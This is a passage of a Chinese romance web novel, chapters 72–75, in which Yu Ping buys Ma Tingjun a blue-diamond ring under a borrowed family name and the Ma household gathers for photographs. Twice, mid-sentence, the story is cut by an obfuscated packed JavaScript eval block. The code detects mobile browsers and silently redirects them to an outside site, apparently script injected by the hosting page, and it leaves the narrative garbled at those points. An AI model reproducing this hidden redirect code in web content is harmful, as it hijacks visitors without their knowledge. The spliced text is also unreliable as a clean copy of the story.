他啧了声,赌气般地挽上麻霆君的手,拐进百货公司。 一楼卖些洋人的品牌,给百货打肿脸充胖子。也不乏珠宝商铺,算不上特别高档。 看得出麻霆君有闲心研究,俞平倒都是粗略扫过,好的东西又不会摆在外面,何况家里奇珍异宝太多,看什么都黯淡。 往二楼去的楼梯前,遭小小一间店面拦了路。俞平眼前一亮,心情好,口无遮拦了些,道:“这家是香岛开过来,专门做婚戒的。” 又道:“我在香岛住过,偶尔偷偷出去,那天时间多,逛在这里。以为没什么特别的意思,试了几只,听出他们嫌我年纪小,才知道是婚戒。不巧那天被人偶遇,把我的单买了,我倒是没脸戴。” 麻霆君道:“也是。” 这话说得胆战心惊,都不像是麻霆君讲的出口的语气了。他转头对上麻霆君眼神,叫两个人都心虚。此时此刻,一切好像都太不合时宜。 俞平尴尬一笑,道:“嗳,霆君,我不是在向你求婚哦。” 幸而麻霆君也笑:“我没往这方面想。” 他拉着麻霆君上楼,没话找话:“那你想过没有?” 麻霆君思索片刻,道:“真要求婚,也是我的责任吧。” 俞平止不住在心里朝他翻白眼:做四爷的大度些包容些,让他逞足威风,真把自己当什么顶天立地的角色了! “不行。”俞平道,“等我以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185628|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有钱了,我给你买。” 仗着楼梯上没别人,麻霆君来搂他,道:“哎呀,平儿,我怎么舍得你给我买?” 俞平在他怀里,气鼓鼓不减,道:“我都便宜给了你,不准我要点名头?” 又道:“不但是我给你买戒指,你还要入我的赘,跟我姓俞。” 麻霆君道:“你是两个字的名字,我也要学你,‘俞霆’,你说怎么样?” 俞平眉毛一挑,道:“答应我了?” 麻霆君笑道:“你都便宜给我了,我有什么好讨价还价的?” “那么,你就是四奶奶了。” “为什么是四奶奶?” “你是五爷,不准我做四爷?” “四爷,处处都要压我一头。” 百货公司里头的都次,好的东西都是独门独户的,门口派保镖,监狱一样。麻霆君想买什么,俞平都不看好,叫他再热情了也兴致缺缺。 看他气馁,俞平迟迟有些过意不去。料想谈文翡的那些保镖绝没有闲心逛百货公司,背准了地图也会迷路,他特地与麻霆君从偏门绕出去,穿过边上小巷,另有条大街。 街旁都是洋房,最高不过三层,卖东西的独门独户。有一家与他的料想全部符合,门口还挂锁。 却是家珠宝店。 两个男人进珠宝店,总有一种来挑礼物的蹩脚感觉,枢城对同性恋司空见惯不假,却是心照不宣。俞平怕那些柜员自作聪明或者不聪明,都叫他们下不来台;他倒是真心想给麻霆君买点东西,便犹豫着进不进去。 麻霆君也有此意。两个人都磨磨蹭蹭,便是彻底迈不开步子。他责任心更重,主动挑起,道:“如果我真的向你求婚了,你会答应吗?” 俞平道:“不是说等以后么?” “我姐姐的结婚戒指订了六个月,我看这里比她的还要高档,不知道要等多久。不如我们先买了,兴许年底就能戴上。” 他才想起俞平那通插科打诨,又笑道,“我买回来,你向我求婚,这总好了。” 俞平笑道:“其实谈四给我留过一笔钱,刚好给你买个礼物。况且花光了就和他两清,我再也不和你提他了,你看如何?” 他打发麻霆君去橱窗。 开在滨江区的珠宝店,有自命不凡的,一有好东西必先去谈公馆排队。家里姨娘心情好就多挑点,顺手找小石头给他镶个首饰。毕竟男孩子戴太大的石头不好看,缺乏男子气概。 看这家派头,约莫也是谈公馆的常客。俞平心里大致有数,上前去门口。门口除了两个体壮的门卫,便是个稍显瘦小的中年男人,留着说场面话的。 俞平道:“如果店里有客人,请帮忙清场。三十分钟之内我都愿意等。” 他口气不小,连门卫也皱着眉头。那中年男人秉持一贯冷冰冰的口吻,礼貌地道:“店里目前没有其他客人,可是这位先生,我们只接受提前预约的。” 俞平道:“要提前多久?” “十天以上。先生。” “我有预约。” 门口三人面面相觑一阵,中年男人低头翻一阵簿子,道:“请问是以谁的名义登记的?” “谈凭玉。” 72.戒指 进门了才发觉这珠宝店不算很大,无非是柜台修得小,看着十分空旷。换了个店长来招待他们,好言把俞平哄进了休息室。 麻霆君没有在外头吃冷风的道理,被请到店里喝香槟。 休息室里也有安保,门口轮班下来的,皱着眉头扫俞平。若是戴有色眼镜看人,俞平论长相就不是等闲之辈。把他往灰色地带想,最次也是金丝雀,非富即贵的主才养得起。 店长摸不准他的底细,格外恭敬一些,温声道:“先生,真的很抱歉,我们找不到四爷的预约。” “四爷自己忙,大概是忘了。”亏他自己是四爷,底气足,不像找茬的虚张声势,“谈文翡是不是常来?” 店长又道:“是靠二爷帮忙,我们才能开在如此地段,严太太也时常来光顾。” 俞平道:“店里应该存过他的号码,你问问他,四爷有没有预约过。” 既然搬出谈文翡来撑腰,有事也能冲着谈文翡去,珠宝店充其量是个角斗场。店长不想惹是生非,按台阶下,拨了个办公室的号码,低语一阵,把听筒交在俞平手里。 俞平懒得避着外人,更不想客套,直接道:“我要结婚了,提前问你收点份子钱。” 电话那头嗤笑一声,道:“你把电话给他们吧。” 他还了电话。店长背过身去,恭维几句,少倾回来招呼他。赔笑脸道:“麻先生,您好……” 俞平靠在椅背上,懒散翘了腿,道:“麻先生是另一位。” 店长神情凝固,又道:“四爷……” 他食指束在嘴唇间,比出个噤声的手势,道:“四少爷还在吉原。” 店长拿他束手无策。他笑着起身:“是外头的麻先生要买戒指,我就是个陪同的。要是招待错了人,可太伤心了。” 又把谈文翡的支票轻飘飘撒在桌上,道:“钱我先付了。不准和麻先生提起这事,就说是缺材料,让他多等一阵时间。” 店长鞠躬道:“听您的吩咐。” 俞平道:“劳烦了。” 外头麻霆君跟在一个店员身边听介绍。他不习惯喝香槟,又有俞平扣在里面,店里特地拨了个门卫去给他买热可可。 见俞平来,谈话声先停了,他光微笑不说话。俞平走近了道:“我问他们能不能找个洋人镶嵌,不能就走了。你怎么都挑上了?” 麻霆君笑道:“我看这里的耳坠好看,你要不要挑一挑?” 他想起那副白贝母耳坠的惨状,戴过一次就剥了漆。他是不大相信麻霆君给他挑礼物的眼光的,却照旧来麻霆君身边,一同看着柜台。店员伺机要敲竹杠,被迟来的店长支走了。 换店长招待他们,战战兢兢道:“二位要是要看耳饰,我们有更好的。” 俞平道:“不用了,我们来看戒指的。” 转到戒指的柜台上。凡是能够结婚的男男女女,多少都昏了头,各色行业都来其中谋取暴利,所以卖戒指的柜台更大。现成的长青款式都摆在玻璃柜台里,罕见的放在抽屉,店长都取了出来,一只一只给他们看过去。 枢城开放也不至于此,鲜少有两个男的来买对戒,麻霆君不想在名义上委屈了俞平。然而看的实在不尽兴,道:“买只钻石最大的好了。” 俞平道:“两个男的戴女款,太不像话了。” 麻霆君道:“是不像话,但是素点的更不像话了,铁环一样,我舍不得你戴。” 俞平笑道:“手指头沉甸甸的,怎么给麻行长拨算盘?” 麻霆君笑道:“不喜欢戴就不戴,但是要有吧。” 店长看过二人眼色,道:“麻先生,您喜欢镶钻的男戒不是问题,我们有专门的设计师。如果现成的没有挑中的,可以买了钻石来定制。” 锁钻石的柜台在珠宝店深处,另有安保照看,带些此地无银三百两的意味。店长一个眼神把他赶了走,戴好白手套,开锁搬珠宝盘。 白钻石盛在黑丝绒方块盒里,从小到大都有,靠里头也有彩色钻,最大的也比白的小一圈。 麻霆君看不懂,俞平看了都觉得无聊,不好意思讲嫌弃的话,只微微皱着眉。珠宝商还数洋人面孔看着唬人,最好是肤色深的,以前在谈公馆,他心情好了给姨娘们当翻译,其实不翻译更方便,各色石头往丝绒盘上一摆,价格都不用写。 见两个人都不说话——那店长到现在还吃不准俞平什么身份,说是包养的金丝雀,看派头不像;说是四爷,小鸟依人在另一个男人身边,没胆子认。姓麻的更是闻所未闻。 但是有谈文翡的空头支票做担保,他心一横,咬牙把镇店之宝摆出来。 亏是这几年枢城少爷小姐结婚的多,各家贵妇都来问彩色钻石。他们在中东有人脉,供的货确实好。矿上走运,出了颗稀世珍宝,这小店理应承受不住如此高规格的品相,赌了把滨江公馆区能有多少头昏脑胀—— “蓝色钻石,不大好开价。” 店长赔一个笑脸。时至今日,谈文翡逐渐落魄,人情再高,对俞平麻霆君尊敬也就罢了,不至蓝色钻。谅他们大抵买不起,反正是摆出来装样子的,到头来还是要去公馆卖个天价;珠宝店身价拔高至如此,那些白钻石再无趣,也并非他们不入流,是二位预算不够。 这一抹蓝实在璀璨,一粒粒白钻石只当是碎冰糖。 才有些谈四爷要结婚的大动干戈在。俞平脸上不禁一笑,道:“要是麻先生肯赏脸戴鸽子蛋,我愿意送一颗蓝钻石。” 麻霆君愣道:“可他说不好开价……” 他瞟了店长,温声朝麻霆君道:“听他吓唬你,没有这么贵的。” 又道:“你去看童话故事书——钻石都是白色的,谁戴蓝色的?他说不好开价,是这钻石品相不错,可惜卖不贵。开低了他心疼,所以为难。” 店长表情一僵,生怕说错了话。 麻霆君半信半疑。俞平推他,笑道:“你比在手上试一试。” 他道:“怎么是我?不是我买给你么?” 俞平道:“讲好是我买给你的!和我在一起,戴女戒,委屈你了?” 麻霆君要哄俞平开心,才伸出左手。店长小心地夹起钻石,托在他无名指与中指间的指缝处。 他肤色深,手也大,说是起码十五克拉往上走的石头,看着也小了。不由自主吓一跳,犹豫着看俞平,道:“平儿,我看还是太张扬了。” 俞平先前特地打的四爷的幌子,就是不想叫麻霆君心疼钱包,没想到还是心疼上了。 可是记得香岛有拍卖会,东西中外各式各样的奇珍异宝,迄今也只卖过一颗蓝色钻石,全然及不过他们这颗——每一棱光都五色斑斓,他早陷进去,溺死在里头了,亡魂挣扎不出。 麻霆君忙还了钻石,他不让,朝店主道:“就要这颗。” 店主没想到他狮子开大口,道:“可是……” 他道:“没有可是,就是这颗,开多少钱我都要。” 僵持的时候,热可可才买回来。店主和俞平多少有支走麻霆君的意味,麻霆君也识趣,去门口尝温度,剩他们两个对峙。 店主干脆说了实话:“先生,实不相瞒,这颗钻石是我们宰那带住公馆的。要是卖给您,赚不了多少,何况蓝钻石的名头传不出去,我们捞不到声誉,不好继续做生意。” “我就住公馆。”俞平淡淡道,“谈公馆。” 店主窒息片刻。俞平往后瞟一眼,面上不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187970|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声色,低声道:“你们有多的支票吗?” 支票当然是预备好的,店主递来一张,看他潇洒签了“谈凭玉”,几欲昏厥,道:“四……” 俞平道:“钻石的钱我付,零碎的工费叫我二哥出。” ——谈家换家主,内部消息是谈皎当家,对外宣称还是先传给四爷,她作辅助,于是一家人苦苦等着他玩过花魁回来。 卖给四爷是最好不过了,名利双收!店主欣喜若狂,抑制着不流露出来,否则太市侩。道:“四爷,真是卖给您和爱人,我们还能再便宜点。” “我缺钱?” 店主笑脸灿烂,笑得发自肺腑,由内及外。他又道:“是那位麻先生有本领,不要忘了。” 预备给麻霆君的戒指,有这么大的钻石,反而不用设计,倒是俞平的款式可能要稍微动些脑筋。 店主便又伺机道:“要是是小一点的蓝色钻石配对,我们可以找到。” 俞平低头签字,道:“空头支票,数目随你写。” “四爷好,四爷真大气!” 麻霆君端两杯热可可,回来时候察出气氛好了不少,不细究隐情,光顾着吹凉了叫俞平尝。趁店主转身,吻了俞平的耳廓。 “多少钱?”麻霆君问得有点犹豫。 俞平笑了笑,道:“反正花光了,我和他两清了。” 麻霆君道:“我贴你点?” 俞平道:“还用得着你贴我——你的钱不是我的钱?” 麻霆君忍俊不禁。店主打断他们高兴的时间,按流程量指围,再留电话号码和地址。电话留的是谈公馆的不假,地址却在栀子花街道银行。 简直是店里一切人物来给他们鞠躬送别。跨出店门,麻霆君照旧有些不可思议,笑道:“你真给我买戒指?” 俞平道:“钱都付掉了!” “哎呀,没想到我有一天也要靠你生活。”麻霆君吃吃笑着,又道,“我也给你预备了个惊喜,不过要晚上才能拿出手。” 俞平斜他一眼,嗤笑道:“你去哪里偷师了,要用在我身上?” 麻霆君笑着蹭上来,道:“我的平儿,要是我能舍得离开你一刻就好了!” “刚才去拿热可可就很舍得!”俞平甩了他的手,故意道,“你是喜欢热可可还是我?” 麻霆君说不过他,便把他牵进一旁小巷,拘进墙角,手臂撑在边上,吻得叫他讲不出话;他也多少有些意犹未尽,含着麻霆君的下唇依依不舍。 再走上大道,虽是没牵手,离得也不近,又好像所有人都盯着他们的唇不放。俞平被看得煎熬,忽然想起来谈文翡的人盯梢了一路。 ……管他们呢。 进了柏庄的门,麻霆君不肯回房间,去到大堂的一栋。俞平跟了过去,见他一直往前台瞟,也不想戳破,等他问道:“你能去边上等我一会吗?” 俞平才道:“怎么?” 麻霆君支支吾吾道:“我想喝热可可。” 俞平想起白天里他故意回避的问题,便又道:“喜欢热可可还是我?你要是不回答,我不放你走。” 麻霆君笑道:“宝贝儿,怎么在这种地方较劲?” “答案是什么?” “当然是你。喝热可可是为了对你好,嘴里是甜的,你尝着不也高兴吗?” “你馋得要疯了!什么谎话都编得出来。” 俞平自然没赏他好脸色看,撇了半边脸。麻霆君顾不上大堂多少人,低头吻了他。才见到他心满意足地去等候区,安生翻开了一本外文书,眼神拨开书脊朝他掷来。 他微笑着,僵硬地转了身。紧张地问前台: “有没有颜先生给麻先生的物品?” 73.红酒 “四爷,您好。” 正看在兴头上,俞平故意吊了他两三页,才微微抬头。面前站着位中年男士,年纪有些大,看着学问不浅,谦和地道:“真不知道是四爷光临,我们属实是招待不周了。” 今天撑了太多次四爷的名头,俞平竟有些腻了,到底是当金丝雀舒服,什么都不用操劳,都不敢想象从前过的是什么日子。 他顺手将书籍往后翻了一页,道:“认错人了,我不是四爷。” 那人道:“柏庄开业,您送的花篮。托您的福,我们生意兴隆至今。” 俞平道:“是吗?我怎么不知道。” 他装模作样地翻页,装模作样地看。那人讨个无趣,猜是他不愿被打扰,略微欠身便要走。 俞平眼神勾着那人后领,道:“我还挺喜欢这里的,如果以后想要久住,有专门的房间吗?” 那人道:“只要您开口,一切都由您的心意。” 俞平点过头,目光再跌落至书页上,闲闲道:“我还是觉得你们认错人了,四爷在吉原,没回枢城。” “明白,明白。” 又是一阵看不进书的时光,逼得他一个单词一个单词念过去,许久见到麻霆君鬼鬼祟祟赶来。 麻霆君怀里不知道抱了什么,鼓鼓囊囊,他不开口解释,俞平只作没看见,一起回了房间。 以麻霆君的性格,凡是有独处的时刻,照理都要搂着亲热一番。这回却顾不上俞平,先进了盥洗间。俞平冷眼在扫着他的脚步,猜测是他昨夜太气馁,等今晚一雪前耻。 早听见他沐浴完进房间,俞平反而更慢了些,悠悠地消磨时间,额外多泡了澡。 出门即见麻霆君直挺挺栽倒在床上。 俞平吓一跳,紧接着闻出弥散不去的浓重酒气,想来麻霆君只是睡得安宁而已,勉强安下心来。 可麻霆君的心思多简单,好端端的,喝什么酒!俞平自认为没闲心叫他伤春悲秋,不让选热可可,不至于装死怄气,便轻轻戳了戳他:“霆君?” 他不应。俞平抿着嘴,担心这也属于惊喜的一环,又小声道:“Babe,再不醒就把你锁去隔壁了……” 麻霆君照旧一动不动。 如此威胁都没用,想必是真的遇上困难了。俞平想起他方才形迹可疑,不知道他耍什么心眼,总归是先把自己沉进去了。 在房间里找一圈,却也见不到新鲜玩意。俞平有失风度地闻半晌,依照酒气,终于在衣帽间寻到了来源。一个纸包。 拆开来竟是瓶红酒,晃了晃,只剩个底。再跌出一张卡片,字体龙飞凤舞。 ——哪有什么壮阳酒,喝点洋酒得了,你不怕死我还怕。他日你要是被迫害,切莫交代今夜的酒是我赠送。 落款:我不是颜青。 俞平劫后余生,在心里拜了许久鬼神,决定欠颜青一个人情。 终于心安理得回到卧室,他嫌麻霆君身上酒气太重,却也不舍得真把人锁在隔壁,便用棉被紧紧裹了麻霆君的身子,抱在怀里,酣睡一夜。 次日俞平起得早,见麻霆君照旧不省人事,管自己着手收行李。大抵是为了照顾他,麻霆君东西带得真多,两个晚上,收拾得出三个手提箱。其实柏庄里什么都有,却还是备足了。 俞平叉着腰,不止在手提箱与麻霆君边上踱步。叫他一人承担所有,实属强人所难,他也不想惊动柏庄的人来帮忙——犹豫片刻,冲去大门外。 柏庄外头还是那辆黑车,几个大汉聚在一起抽烟闲谈。其中一人面对大门蹲下,骤时脸色大变,大家便跟着他一起警觉起来。 俞平大步流星而来:“有没有力气大点的,进来帮忙。” 几位大汉小鸡似的站成一排,没一个敢开口的。 俞平看他们无动于衷,气不过,又道:“至于这么怕我?” 才有人道:“二爷嘱咐过了,只准远远地盯着……” 俞平打断道:“现在是我在。听他的还是听我的?” 边上一位抢先一步,笑道:“听您的,四爷,我跟您进去。” 一路至卧室门口,俞平停在前面,攀着门缝瞄一眼,见麻霆君依然熟睡,才指使保镖进房间搬箱子。保镖一手一提一个,没想到十分吃力,走几步接连扑通砸在地上。 保镖自知丢脸,抢先道:“四爷,这箱子太重了,您来时一定很辛苦。” 俞平道:“霆君就搬了一趟啊?” 保镖无语片刻——俞平担忧管控不住自己,时时刻刻甜蜜外溢,吓到人家,赶紧道:“你把兄弟们都叫来帮忙,我去开车。” 他摸了麻霆君的车钥匙,奔出了门。发动汽车时,他吃汽油气息,在车上照后视镜,只见脸上始终可疑地微笑着。冷静许久,确认自己嘴角必然是垮的,不伤四爷的头衔,才肯回到房间门口。 那些保镖没有直视他的,低着头做事。一趟趟搬下来,手提箱规整码在后备箱,麻霆君则是安稳躺在后座,身上裹着车里的毛毯。 俞平关了车门,喝住正欲离开的保镖们,道:“车牌是什么,记得吗?” 几个高低错落的声音报出了同样一串数字后,俞平满意地点点头:“不错,都给我忘了。” 又威胁道:“谁记得住,我回来找谁的麻烦。” 保镖们纷纷点头如捣蒜。 俞平最后扫他们一轮,踩油门驶出柏庄;保镖们心知肚明,不敢尾随盯梢,慢慢吞吞回了黑车旁,预备晚些去和谈文翡汇报。 才有人愤愤道:“跟四爷的那男人,又高又大,方才压在我身上,不知道多沉!四爷不在的这些时日,莫非是学了巫术,要把他炼长生不老丹?” “哪里有巫术?跟二爷这么久,一点眼力也没有。那男人是四爷的男人!指不定年底就是谈四奶奶了,方才作什么哑巴,不如多恭维几句!” “管他是什么谈四奶奶!你们看到么,四爷看那男人眼神多肉麻!起初说四爷要商业联姻,现在大抵也没戏了。大小姐捞不到新人情,不是心痛死?” “还是别学大小姐,否则又克夫。” “谁是夫,谁是妻,说得准么!” 阵阵哄笑声里,车拐了回来。 俞平横停在他们面前,降下窗户,理不直气也壮,道:“有没有认路的?去江南。” 刚刚还在议论他,没想到他来得这么快,也不知道听到了什么。众人心虚着,张口结舌,唯一一个反应快的抢先一步:“四爷,我来给您开车,叫兄弟们在前面保驾护航。” 俞平便坐在后排,担忧那保镖开得不稳,把麻霆君的头搬到自己腿上枕着。 其实他自己车技更差,因为许久没开了。然而睡 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俞平道:“你怎么知道?” “我不知道。” 车停到栀子花街道,往鹭镇的方向熟悉。俞平认得后续道路,喊了停。保镖揿喇叭,叫前一辆车跟着停在路边。 保镖把座位让给俞平,俞平最后叫住他,道:“我知道你们都清楚,什么话该说,什么话不该。” 保镖道:“四爷,放心。” 等谈文翡的黑车驶远了,俞平仍不放心,在路边买了些零嘴,再重新上路。路途也没个人供他消遣,开得歪歪扭扭,所幸路上没几辆车,情急了顶多踩刹车。 突然听见后座一阵响动——俞平回过头,见是麻霆君挣扎着起来了,扶着额头,嘶嘶倒抽冷气。 他看出周遭环境不对劲,抬腕看一眼表,惊道:“我睡了多久!” 俞平道:“都快到晚上了,酒喝得还痛快吧?” 麻霆君笑得羞涩,不由分说,一脚跨到他身边的位置。他明知故问,又道:“我的霆君哥哥,壮阳酒是什么?” 麻霆君笑得羞涩,道:“我原本真是想给你个惊喜。” 俞平道:“是很惊喜,光是知道你有这般心思,就够惊喜了。” “你怎么会开车?” “一直都会。” 麻霆君便扮作委屈,道:“也不早告诉我!我每次来回开车,很辛苦呢!” 百忙之中,俞平匆匆分他一眼,笑道:“偶尔低个头也不错,否则哪里来的钻戒?” 言罢麻霆君已然捏了他的下巴,他急忙推开,道:“唉呀,开车呢!” 麻霆君笑道:“你不是经常这么对我?” 好不容易回了鹭镇,俞平不想太高调,下车走回布店。麻霆君在身后叫他: “平儿!” 往后看一眼——窗户落下,麻霆君半探出头,朝他微笑着。他心跳得厉害,听自己的呼吸更加浓重,片刻不犹豫,上前与麻霆君吻在一起。 说是风太沉,到底是下雨了。点点雨珠自微风飘摇而下,滴落在两人的鼻梁。天上夕阳尚未散去,顺流而下迅速扩散,把他们笼罩在淡黄色的光芒里。英国灵媒早早有过预言:今年的雨季格外漫长。 74.相片 鹭镇上新开了照相馆,一时间鸡犬不宁。商铺不经营,耕作的晾了菜畦,都跑去照相馆一探究竟。镇上也像张凝固的相片。 麻公馆的人更加讲究,若是在照相馆门口蹲一天,实在有失风度,便特地请了摄影师来家里。 说是所有人都有照相拍,按照辈分排队,先是老爷、各位姨奶奶、院里其余婆子丫鬟,再轮至大爷——半天过去,排到麻五爷,迟迟不见五爷下楼。 后面队伍排得长,摄影师催得更着急,叫其他人插队上来了。然而直到各位佣人大施拳脚过一遍,还等不到麻霆君。俞平也没露过脸。 派了阿吉找人。 算出是俞平来麻公馆的日子,阿吉自有定数,先去他们的课室找了一遍,照例空空如也;又去他们常幽会的花园角落,他以往是站在一旁望风的,但是不说找得到人,光是前往几个角落,连他也差点迷了路。 只好瞎猫找死耗子,去三楼卧室碰运气。远远看见瘦子在门口驻守,阿吉眼前一亮,道:“五爷在里面吗?” “在是在。”瘦子老实道,“五爷嘱咐过了,他要挑衣服,不准来人打搅。” 阿吉道:“俞平呢?” 瘦子道:“快一年了,你还不懂他?就是俞平陪他一起进去的,否则怎么能挑这么久的衣服?” 阿吉诡异一笑,一脚踩在门边,捏好空拳。瘦子急忙拦下他,道:“嗳,五爷不准人进去的。” “五爷平时多大大咧咧,俞平一来,倒是忸怩上了。” 阿吉鄙夷道,“就算他对俞平有意思,一年了,依我对于俞平的了解,换个衣服还要害羞的男人,俞平一定看不上。” 瘦子嘘他道:“这话你去和五爷讲。你讲的出口,我当你做大哥。” 听得阿吉更要敲门了,瘦子也更加坚持。阿吉往左,他向右,面对面地碰在一起。 阿吉皱眉道:“就算他朝俞平献殷勤,我们又不是没见过。怎么今天就不让进?” 瘦子顿一顿,回避道:“反正五爷是这么告诉我的,‘谁敢打扰,赶出鹭镇’,你有这个胆子吗?” “楼下催他呢!”阿吉道,“你不敢违抗五爷,你敢违抗老爷和三奶奶?再拖下去,摄影师都走了,还想不想拍照片?” 果真是拍照片诱惑大,瘦子没本领反驳。阿吉便嘿嘿笑道:“你偷偷帮我把门开了,就说是风刮的。” 瘦子嘴上嘟囔骂他,心里也动摇了,背对门板,向后伸手,悄悄挤出一丝门缝。阿吉扶着门框,逐渐朝里面偷窥,却是电光火石间缩了回来,空洞得仿佛是一具枯骨。 瘦子看他一轮,调侃道:“见鬼啦?” 阿吉更是一副死相。 瘦子捏着他的肩膀前后摇晃,然而他的灵魂早飞走了似的,留下一具唤不醒的躯壳。瘦子看得发怵,害怕道:“里头出人命了?” 阿吉不应。瘦子看他惨状,再胆小也壮了胆,意欲一探究竟——他把瘦子拽回来,两片唇紧紧抿着。 瘦子提高音量,又道:“你说话,是俞平出了事,还是我们五爷出了事!” 阿吉哀哀地张开嘴,早丧失语言系统,木木地道:“俞平……俞平像一张毯子。” 瘦子不解。阿吉双臂在空中瞎比划,手忙脚乱地解释道:“毯子——你怎么盖毯子,我们五爷就怎么抱着俞平。” 瘦子道:“他们穿衣服了吗?” 阿吉道:“我不敢看,我才刚成年啊!” 死了一个阿吉,呆了一个瘦子。楼下摄影师等得不耐烦,新派胖子出马。 胖子抢在前面拍过照,满脸喜气洋洋,上楼即见他们办丧事般晦气,不解道:“楼下等着拍照片呢,你们在这里蹲得住?” 瘦子瞟他一眼,揉着阿吉的头顶,可怜道:“一张相片的事情,不拍就不拍了。” 胖子抱怨道:“什么话!” 这时候正巧开了卧室门,麻霆君满面春风地出来,见他们站成一排,腰板倒也硬不起来,笑道:“久等了,现在拍到第几位?” 胖子道:“最后剩下我们没去过了,还有俞平。” 麻霆君哦一声,返身进去帮忙,不久后他挽着俞平出来,配合俞平的步调,慢慢吞吞。 原先真是来挑衣服的,麻霆君非要别出心裁,和俞平在颜色上搭配,然而选了半天没有定数。俞平便在一旁打呵欠,他余光至俞平特地戴上的白贝母耳坠,当下情难自己。 俞平也留恋麻霆君。柏庄一夜他太痛了,身上不痛,心里也痛。因为不肯相信爱情正是此般滋味,始终跃跃欲试。一来二去,都多贪恋了些时间。 面前三人皆有些无地自容,见状,麻霆君歪头讲悄悄话:“他们要和我们一起去枢城的,我看也瞒不住,不如提前透露了。” 俞平咬他耳垂,笑道:“霆君哥哥,今天我心情好,什么都听你的。” 他们管自己窃窃私语,胖子无言以对,阿吉没精打采,瘦子动了歪脑筋,出卖道:“五爷,你不准我们进来,我是恪尽职守。李喆最不好了,非要来听墙角,拦都拦不住。” 麻霆君笑一笑,大大方方搂了俞平,亲热地靠在一起,道:“平儿是我的恋人。” 却见俞平脸上平静照旧,微笑也是他嘴角生得翘——太没信服力了!显得是他们五爷自作多情一样。三个人里面没有一个相信的,麻霆君下不来台,手上轻轻捏了把; 俞平扑哧一笑,吻了他的脸颊,笑道:“我很爱霆君。” 胖子第一个道:“嗳,以后不能叫俞平,要叫五少奶奶了。” 他催瘦子,瘦子讲不出话。阿吉诈尸起来,才道:“兰香不是这么说的!” 麻霆君轻笑一声,捏俞平的脸,道:“你怎么骗的兰香?” 俞平道:“我说,‘麻霆君好高骛远,以后要找个非富即贵的地方入赘,哪里轮得到我’。” 赶在麻霆君开口前,又道:“上次回来就没说过了。阿吉要是才听说,不是我的问题。” 麻霆君道:“我有多喜欢你,她怎么不知道!难道她会信?” 俞平笑道:“不但是她相信,你家阿吉也相信。我看你也没有特别好。” 他们管自己打情骂俏,楼下不给他们时间,再派了个人上来催。一行人才迟迟下了楼。 麻霆君只想赖着俞平,多磨蹭一刻是一刻,打发其他人快快走在前面。想来是见了光,也再不 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拍照在前院,一群人吵吵闹闹,倒是十分其乐融融。俞平回头看一眼,不免念及谈公馆冷清照旧,大抵永远也不会有如此光景,心上不免有些酸楚。 麻霆君趁没人注意他们,再来吻他。他推了麻霆君,轻轻道:“等你的相片洗出来,能分我一张吗?” 麻霆君笑道:“怎么?有我时时刻刻粘着你,至于看照片吗。” 俞平也笑,道:“你真是越来越昏头了。这种话说出去给客户听,不知道谁敢找你来贷款。” “保证过今天心情好的,不准凶我。” 麻霆君无事生非地拨了他的碎发,又道,“宝贝平儿,你拍了照片,我也要你的。” 俞平道:“我就不拍了。” 麻霆君道:“你要是讲,‘你不喜欢我’,讲得出口,我就依你。” 麻三奶奶远远地叫他们过去,麻霆君匆匆应一声,临走前还想亲俞平。然而远处投来的目光太集中,他自己没脸没皮,俞平还要点脸面,到底没有得逞。 俞平跟在他身后一起走,看他坐在镜头前,不忘眨眼睛过来。 几个佣人给麻霆君整理仪容,一阵风似的来了又走。摄影师喊数字,倒计时,俞平听得熟悉,他以往在谈公馆常拍照,谈行一买摄像机,拿他当模特。拍完说要给枢城各大导演寄去,看看能不能捞到个男主角,一鸣惊人。 又不免怅惘,像是前世的旧事。其实自他来到鹭镇,一切理应都结束了,无论他名义上是谁,都回不去了。 三奶奶站来俞平的身边,搭了他的肩膀。 他失神时低着头,碎发跌落出来,挠着眉毛。心上热忱降了下来,慌忙间总觉得是麻霆君捣乱,麻霆君却坐在面前咧嘴笑着。听见摄影师喊拍照口号,才看见麻霆君是朝他笑的,眼眸闪着光——这段时日太幸福了,都不属于他似的。 俞平怔怔的。听见三奶奶叫他:“平儿,你去和霆君一起合个影吧。” “算了。” “咦,你长得这么俊,怎么不喜欢拍照?” 俞平停顿许久,方惨淡一笑,道:“姨娘,我很对不起你们。” 75.香囊 三奶奶哈哈大笑,大喊道:“麻霆君,过来!” 麻霆君当是来领赏,兴高采烈窜来,不料立刻被揪着耳朵,脸也涨红不少。若是平时莫名其妙受欺负也就罢了,当着俞平的面,本想硬气一把,却愈是委屈了,道:“娘!” 三奶奶手上不肯放松,朝俞平道:“看见了,霆君再欺负你,拧得要比我还重!” 俞平干笑两声。三奶奶放了手,又道:“否则哪有这样的好事,号称辛辛苦苦和平儿心意相通了,却不肯好好待他!” 麻霆君道:“冤枉人,我哪里待他不好!” 三奶奶凶道:“你要是待他好,我怎么看不出?我在他脸上找不到一个笑脸!” 麻霆君便苦着一张脸,撒娇地道:“平儿,求求你笑一笑。” 三奶奶要在外人面前作表态,下手格外重一些。即便俞平平时下手也重,这时候不是自己打,总归看得心疼。他靠到麻霆君身边,麻霆君便故意把耳朵往他眼前凑,眨眼睛示弱。他勉强挤出来一个笑。 三奶奶在一旁看得恨铁不成钢,道:“你就是这副样子——他怎么喜欢上你的?” 麻霆君道:“我很好呢!” 